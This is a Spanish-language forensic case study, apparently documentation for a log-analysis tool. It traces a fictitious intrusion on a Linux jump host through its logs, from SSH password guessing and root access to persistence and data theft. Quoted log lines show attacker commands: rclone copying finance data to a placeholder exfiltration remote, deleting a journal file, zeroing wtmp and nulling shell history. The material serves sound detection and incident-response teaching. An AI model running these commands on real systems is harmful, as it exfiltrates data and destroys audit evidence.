Investigación de una intrusión en Linux: caso práctico
Investigación de logs de Linux en un host de salto sintético: adivinación de contraseñas SSH, acceso desde una IP nueva, sudo -i, persistencia y manipulación.
En resumen. Este caso práctico usa el ejemplo sintético integrado en Linux Log Parser (haz clic en Probar un ejemplo). El host es fin-jump-01, un host de salto con Ubuntu 24.04 en UTC. En 52 minutos, el 14 de septiembre de 2026, una cuenta de servicio es tomada tras varios intentos de adivinar su contraseña, se usa para abrir una shell de root, recibe dos mecanismos de persistencia, sirve para copiar datos financieros y después se borra parcialmente de los logs. Cada paso es visible en al menos dos fuentes independientes. Todos los nombres, direcciones y eventos son ficticios.
Las evidencias
El ejemplo es lo que produce la guía de recopilación: auth.log con dos generaciones rotadas (auth.log.1, auth.log.2.gz), syslog, system.journal y user-1000.journal, audit.log (ENRICHED, con una regla de execve con la clave exec), wtmp, btmp, lastlog, además de /etc/passwd, /etc/hostname y /etc/timezone. auth.log usa el formato RFC 3339 de alta precisión de Ubuntu 24.04, así que no hace falta deducir el año.
Cuentas: maria.chen (UID 1000), una administradora, y svc_backup (UID 1001), una cuenta de servicio.
Establecer lo normal
Antes del incidente, el patrón es regular. Cada noche a las 02:00, svc_backup inicia sesión desde el servidor de copias de seguridad 192.0.2.20 con la misma clave ED25519:
2026-09-14T02:00:03.432000+00:00 fin-jump-01 sshd[2348]: Accepted publickey for svc_backup from 192.0.2.20 port 50518 ssh2: ED25519 SHA256:Qm9ndXNL...
Ese mismo día, maria.chen inicia sesión desde 192.0.2.10 a las 09:12:40 (sesión 6 de logind), ejecuta sudo apt list --upgradable y se desconecta a las 09:41:08. Saber cómo es lo normal es lo que hace destacar la hora siguiente.
De 09:58 a 10:01: adivinación de contraseñas
De 09:58:03 a 10:01:39, 198.51.100.23 hace 15 intentos: admin, oracle, test, ubuntu y backup (cuentas que no existen, de ahí Invalid user), después root tres veces y svc_backup seis veces. Cada intento es un PID de sshd con una línea pam_unix(sshd:auth): authentication failure, una línea Failed password y una desconexión [preauth].
Los mismos intentos están en el journal, en btmp y en audit.log como registros USER_AUTH fallidos. La herramienta los cuenta por fuente en lugar de sumarlos, así que el hallazgo dice 15, no 45 ni 60.
10:02:11: el inicio de sesión
2026-09-14T10:02:11.482113+00:00 fin-jump-01 sshd[3071]: Accepted password for svc_backup from 203.0.113.45 port 51544 ssh2
2026-09-14T10:02:11.491113+00:00 fin-jump-01 sshd[3071]: pam_unix(sshd:session): session opened for user svc_backup(uid=1001) by svc_backup(uid=0)
2026-09-14T10:02:11.494113+00:00 fin-jump-01 systemd-logind[845]: New session 7 of user svc_backup.
Tres cosas fallan a la vez:
- Llega unos 30 segundos después del último intento fallido contra la misma cuenta, pero desde otra dirección:
203.0.113.45. El hallazgo adivinación de contraseñas y después un inicio de sesión correcto cubre expresamente este caso: la contraseña pudo adivinarse desde una máquina y usarse desde otra, o ya se conocía. - La dirección es nueva para esta cuenta; todos los inicios de sesión anteriores procedían de
192.0.2.20. - El método es password, en una cuenta que siempre usó una clave.
audit.log registra el evento LOGIN que fija auid=1001 ses=114. A partir de aquí, ses=114 es el hilo del que tirar. La vista de sesiones une el PID 3071 de sshd, la sesión 7 de logind y la sesión de auditoría 114 en una sola sesión.
De 10:02 a 10:04: reconocimiento y sudo
Con la regla de execve, audit.log muestra id, uname y cat /etc/passwd bajo auid=1001 ses=114, y después dos llamadas a sudo que también figuran en auth.log:
10:03:30 sudo: svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=list
10:04:02 sudo: svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=/bin/bash
10:04:02 sudo: pam_unix(sudo-i:session): session opened for user root(uid=0) by svc_backup(uid=1001)
COMMAND=list es sudo -l; la segunda es sudo -i, una shell de root interactiva. auth.log no ve nada más hasta que la shell se cierra a las 10:09:15.
De 10:05 a 10:12: dentro de la shell de root, y persistencia
auditd sigue viendo, porque auid sobrevive a sudo. Registros con uid=0 pero auid=1001 ses=114:
- 10:05:10
passwd, después un registroUSER_CHAUTHTOKy la línea de auth.logpassword changed for svc_backup. El intruso cambió la contraseña de la cuenta por la que entró, lo que deja fuera al propietario y le permite conservar el acceso. - 10:07:30
crontab -u svc_backup /tmp/.c. syslog confirmacrontab[3141]: (root) REPLACE (svc_backup)y, a las 10:08, que cron recargacrontabs/svc_backup. La tarea se ejecuta a las 10:30:01:CRON[3402]: (svc_backup) CMD (/home/svc_backup/.local/bin/sync-agent --quiet). - Tras salir de la shell de root, de nuevo como el usuario:
mkdir -p ~/.config/systemd/user,cp /tmp/.s/sync-agent.serviceen esa carpeta,systemctl --user daemon-reloady despuéssystemctl --user enable --now sync-agent.service. A las 10:12:30, syslog muestra al gestor de usuariosystemd[3075]iniciandosync-agent.service, una unidad que nunca se había ejecutado: un servicio de usuario de systemd.
La herramienta los notifica en Persistencia con cron o systemd y en Unidades iniciadas por primera vez. Los logs prueban el cambio, no el contenido: el crontab y el archivo de la unidad deben leerse en el host.
De 10:18 a 10:31: preparación y copia de datos
10:18:40 sudo: svc_backup : ... USER=root ; COMMAND=/usr/bin/tar czf /tmp/.f.tgz /srv/finance/Q3 close
10:20:05 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance remote:exfil
10:31:44 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance/Q3 close remote:exfil
La línea de sudo no permite saber si /srv/finance/Q3 close es una ruta o dos. El registro de auditoría EXECVE sí: su último argumento está codificado en hexadecimal porque contiene un espacio, y se decodifica como la ruta única /srv/finance/Q3 close. rclone aparece en Herramientas vistas a menudo en intrusiones. (El destino remote:exfil es un marcador de posición en este ejemplo sintético).
De 10:44 a 10:45: borrar el rastro
10:44:10 sudo: ... COMMAND=/usr/bin/rm -f /var/log/journal/4f1c2a9d7e3b4c5d8a6f0e1d2c3b4a59/user-1001.journal
10:44:30 sudo: ... COMMAND=/usr/bin/python3 /tmp/.s/tidy.py /var/log/wtmp svc_backup
y, a las 10:45:02 en audit.log, ln enlazando ~/.bash_history con /dev/null. Tres consecuencias, tres hallazgos:
- Huecos en el journal. El journal de usuario del UID 1001 ha desaparecido, y con él las entradas que journald había numerado para él. Los números de secuencia de
system.journalse las saltan. Las líneas del gestor de usuario (systemd[3075],sync-agent) faltan en el journal pero siguen presentes en/var/log/syslog, porque rsyslog había recibido una copia. - Registro de wtmp puesto a cero.
tidy.pysobrescribió con ceros el registro de inicio de sesión de svc_backup.lastya no muestra la sesión. La herramienta informa de un registro a cero y de Inicios de sesión interactivos sin registro en wtmp para la sesión 7. Aun así, lastlog conserva el último inicio de sesión del UID 1001: 10:02:11 desde203.0.113.45. - Comandos de borrado de logs. El
rmde un archivo del journal, el script ejecutado contra wtmp y el enlace del historial aparecen todos, con la sesión de la que proceden.
10:50:22: cierre de sesión
Disconnected from user svc_backup 203.0.113.45, pam_unix(sshd:session): session closed, Removed session 7 y un registro de auditoría USER_END con ses=114. La sesión duró 48 minutos.
Qué dice el informe
- Acceso inicial: inicio de sesión con contraseña en
svc_backupdesde203.0.113.45a las 10:02:11 UTC, tras 15 intentos fallidos desde198.51.100.23contra siete nombres de cuenta. - Privilegios:
sudo -ly despuéssudo -ia las 10:04:02; los comandos de la shell de root se atribuyen medianteauid=1001 ses=114. - Persistencia: crontab de usuario (ejecuta
sync-agent --quiet, primera ejecución a las 10:30:01) y unidad systemd de usuariosync-agent.service(10:12:30). Contraseña desvc_backupcambiada a las 10:05. - Recopilación y transferencia: tar de
/srv/finance/Q3 close, copias con rclone a las 10:20 y a las 10:31. - Antiforense: journal de usuario borrado, registro de wtmp puesto a cero, historial de la shell desactivado. Cada uno queda contradicho por otra fuente: syslog, lastlog, auth.log, audit.log.
- Acciones: desactivar la entrada de cron y la unidad de usuario, restablecer la contraseña y las claves de la cuenta, revisar los permisos de sudo de
svc_backup, comprobar a qué destino estaba configuradorcloney ampliar la búsqueda a los hosts que confían en este.
Pruébalo
Abre Linux Log Parser, haz clic en Probar un ejemplo y usa la ventana del incidente del ejemplo como rango de tiempo. Los hallazgos, la línea de tiempo filtrada por svc_backup y la vista de la sesión 7 reproducen todos los pasos anteriores. La guía principal explica por qué cada fuente ve lo que ve.